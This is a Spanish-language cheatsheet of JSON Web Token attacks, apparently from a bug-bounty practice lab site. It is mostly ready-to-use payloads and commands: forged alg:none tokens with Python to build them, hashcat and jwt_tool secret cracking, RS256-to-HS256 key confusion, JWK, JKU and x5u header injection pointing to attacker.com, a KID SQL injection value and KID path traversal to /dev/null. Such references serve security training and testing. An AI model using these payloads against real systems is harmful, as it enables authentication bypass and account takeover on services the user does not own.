Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet JWT

JSON Web Token Attacks

Referencia rápida

  • El payload del JWT NO esta cifrado - siempre decodificarlo y buscar datos sensibles
  • Probar alg:none como primer test - es el quick win mas comun en JWT
  • hashcat -m 16500 con rockyou.txt crackea secrets debiles en segundos
  • Si hay /jwks.json accesible, probar algorithm confusion RS256->HS256
  • KID path traversal a /dev/null permite firmar con string vacio

Algoritmo none (CVE-2015-9235)

Header con alg: nonePayload base64: {"alg":"none","typ":"JWT"}.{"user":"admin"}.

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Variantes de noneProbar todas las variaciones de case

none / None / NONE / nOnE / NoNe

Generar con Python

import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{h}.{p}."

Cracking de secret key

hashcat wordlist

hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt

hashcat con reglas

hashcat -a 0 -m 16500 <jwt_token> rockyou.txt -r /usr/share/hashcat/rules/best64.rule

jwt_tool brute forceMode -C para cracking de secret

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Decodificar payloadEl payload NO esta cifrado, solo codificado en base64

echo "<JWT_PAYLOAD>" | base64 -d | jq .

Algorithm confusion (RS256 -> HS256)

Concepto

1. Servidor usa RS256 (firma asimetrica)
2. Obtener clave publica: /jwks.json o /.well-known/jwks.json
3. Cambiar alg de RS256 a HS256
4. Firmar token con la clave publica como secret HMAC
5. Servidor usa la misma clave publica para verificar HMAC -> bypass

Obtener clave publica

openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pubkey.pem

Explotar con jwt_tool

python3 jwt_tool.py <JWT> -X k -pk pubkey.pem

Header injection (JWK, JKU, KID)

JWK header injectionSi el servidor usa la clave del header en vez de la suya

{"alg": "RS256", "jwk": {"kty": "RSA", "n": "<tu_clave_publica>", "e": "AQAB"}}

JKU URL manipulationApuntar a tu servidor con tu clave publica

{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}

KID SQL injectionFirmar el token con ATTACKER_SECRET

{"alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- "}

KID path traversalFirmar con string vacio (contenido de /dev/null)

{"alg": "HS256", "kid": "../../../dev/null"}

x5u header spoof

{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}

Miscellaneous

Modificar payload sin firma

1. Cambiar user/role en el payload
2. Mantener la firma original
3. Enviar token -> si el servidor no verifica firma = bypass

Expiracion abuse

Modificar exp a valor futuro lejano o eliminar exp completamente

Cross-service relaySi multiples servicios comparten la misma clave de firma

Usar JWT de Servicio A en Servicio B

IDOR via JWT

Decodificar JWT -> cambiar userId/email en payload -> account takeover

Buscar tokens hardcodeados

Swagger/OpenAPI specs, JS del frontend, .env files, git history

Herramientas

jwt_tool

Suite completa de testing JWT con modos automatico, tamper y exploit

python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.com/api/" -rh "Authorization: Bearer"

jwt.io

Debugger web para decodificar y verificar JWTs

https://jwt.io - Pegar token para decodificar

hashcat

Cracker de passwords con soporte para JWT HMAC secrets

hashcat -m 16500 <jwt> rockyou.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica